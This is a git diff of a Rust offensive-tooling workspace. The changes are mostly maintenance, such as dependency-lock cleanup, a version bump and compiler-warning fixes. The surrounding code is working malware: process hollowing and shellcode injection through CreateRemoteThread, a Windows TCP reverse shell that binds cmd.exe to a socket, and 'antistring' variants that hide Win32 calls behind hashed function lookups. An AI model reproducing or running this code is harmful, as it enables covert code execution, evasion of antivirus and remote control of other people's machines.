diff --git a/Cargo.lock b/Cargo.lock index aba83c6..1cb5ae0 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -54,10 +54,8 @@ dependencies = [ "bitflags", "cfg-if", "cfg_aliases", - "cfg_aliases", "libc", ] -] [[package]] name = "ppv-lite86" @@ -77,7 +75,6 @@ dependencies = [ [[package]] name = "process_hollowing" version = "1.11.0" -version = "1.11.0" dependencies = [ "nix", "rco_config", @@ -87,8 +84,7 @@ dependencies = [ [[package]] name = "process_migration" -version = "1.12.0" -version = "1.12.0" +version = "1.13.0" dependencies = [ "nix", "rco_config", diff --git a/Cargo.toml b/Cargo.toml index 99f8f40..dde4abc 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,5 +1,4 @@ [workspace] -resolver = "2" members = [ "hash_params", diff --git a/process_hollowing/src/process_hollowing_windows_antistring.rs b/process_hollowing/src/process_hollowing_windows_antistring.rs index e8b24a5..bc812da 100644 --- a/process_hollowing/src/process_hollowing_windows_antistring.rs +++ b/process_hollowing/src/process_hollowing_windows_antistring.rs @@ -26,7 +26,7 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) { let function = rco_utils::construct_win32_function!(function; [PCSTR, PSTR, *const SECURITY_ATTRIBUTES, *const SECURITY_ATTRIBUTES, bool, PROCESS_CREATION_FLAGS, *const i32, PCSTR, *const STARTUPINFOA, *mut PROCESS_INFORMATION]; [BOOL]); let lp_command_line = PSTR::from_raw(format!("{target_process}\0").as_mut_ptr()); unsafe { - function( + let _ = function( PCSTR::null(), lp_command_line, ptr::null(), @@ -37,7 +37,7 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) { PCSTR::null(), &STARTUPINFOA::default(), &mut process_information, - ) + ); }; // Get location of Ntdll.dll diff --git a/process_migration/src/process_migration_windows.rs b/process_migration/src/process_migration_windows.rs index ed1a1fa..bd37bb5 100644 --- a/process_migration/src/process_migration_windows.rs +++ b/process_migration/src/process_migration_windows.rs @@ -87,7 +87,7 @@ pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) { // Call CreateRemoteThread to create the execution thread in the target PID // WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread // RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/System/Threading/fn.CreateRemoteThread.html - let start_address_option = unsafe { Some(mem::transmute(base_address)) }; + let start_address_option = unsafe { Some(mem::transmute::<*mut std::ffi::c_void, unsafe extern "system" fn(*mut std::ffi::c_void) -> u32>(base_address)) }; if unsafe { CreateRemoteThread( explorer_handle, diff --git a/process_migration/src/process_migration_windows_antistring.rs b/process_migration/src/process_migration_windows_antistring.rs index 6eec71b..d498e29 100644 --- a/process_migration/src/process_migration_windows_antistring.rs +++ b/process_migration/src/process_migration_windows_antistring.rs @@ -75,7 +75,7 @@ pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) { // See line 84 let function = rco_utils::find_function_address(kernel32, 0x2a0b247f3bdeef70).unwrap(); let function = rco_utils::construct_win32_function!(function; [HANDLE, *const u32, u32, Option u32>, *const u32, u32, *mut u32]; [()]); - let start_address_option = unsafe { Some(mem::transmute(base_address)) }; + let start_address_option = unsafe { Some(mem::transmute::<*const std::ffi::c_void, unsafe extern "system" fn(*mut std::ffi::c_void) -> u32>(base_address)) }; unsafe { function( explorer_handle, diff --git a/tcp_reverse_shell/src/reverse_shell_windows.rs b/tcp_reverse_shell/src/reverse_shell_windows.rs index 6d34748..6a54a15 100644 --- a/tcp_reverse_shell/src/reverse_shell_windows.rs +++ b/tcp_reverse_shell/src/reverse_shell_windows.rs @@ -58,7 +58,7 @@ pub fn shell(ip: &str, port: u16) { // RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/Networking/WinSock/fn.connect.html let connection_result = unsafe { connect( - socket, + socket.clone().unwrap(), &sockaddr_in as *const SOCKADDR_IN as *const SOCKADDR, mem::size_of::() as _, ) @@ -84,7 +84,7 @@ pub fn shell(ip: &str, port: u16) { dwFlags: STARTF_USESTDHANDLES, ..Default::default() }; - let sock_handle = &socket as *const SOCKET as *const HANDLE; + let sock_handle = &socket.unwrap() as *const SOCKET as *const HANDLE; startup_info.hStdInput = unsafe { *sock_handle }; startup_info.hStdOutput = unsafe { *sock_handle }; startup_info.hStdError = unsafe { *sock_handle }; diff --git a/tcp_reverse_shell/src/reverse_shell_windows_antistring.rs b/tcp_reverse_shell/src/reverse_shell_windows_antistring.rs index 2074f06..793a17d 100644 --- a/tcp_reverse_shell/src/reverse_shell_windows_antistring.rs +++ b/tcp_reverse_shell/src/reverse_shell_windows_antistring.rs @@ -91,7 +91,7 @@ pub fn shell(ip: &str, port: u16) { let lp_command_line = PSTR::from_raw(format!("{system_dir}\\cmd.exe\0").as_mut_ptr()); let function = rco_utils::construct_win32_function!(function; [PCSTR, PSTR, *const SECURITY_ATTRIBUTES, *const SECURITY_ATTRIBUTES, bool, PROCESS_CREATION_FLAGS, *const i32, PCSTR, *const STARTUPINFOA, *const PROCESS_INFORMATION]; [BOOL]); unsafe { - function( + let _ = function( PCSTR::null(), lp_command_line, &SECURITY_ATTRIBUTES::default(), @@ -102,6 +102,6 @@ pub fn shell(ip: &str, port: u16) { PCSTR::null(), &startup_info, &PROCESS_INFORMATION::default(), - ) + ); }; }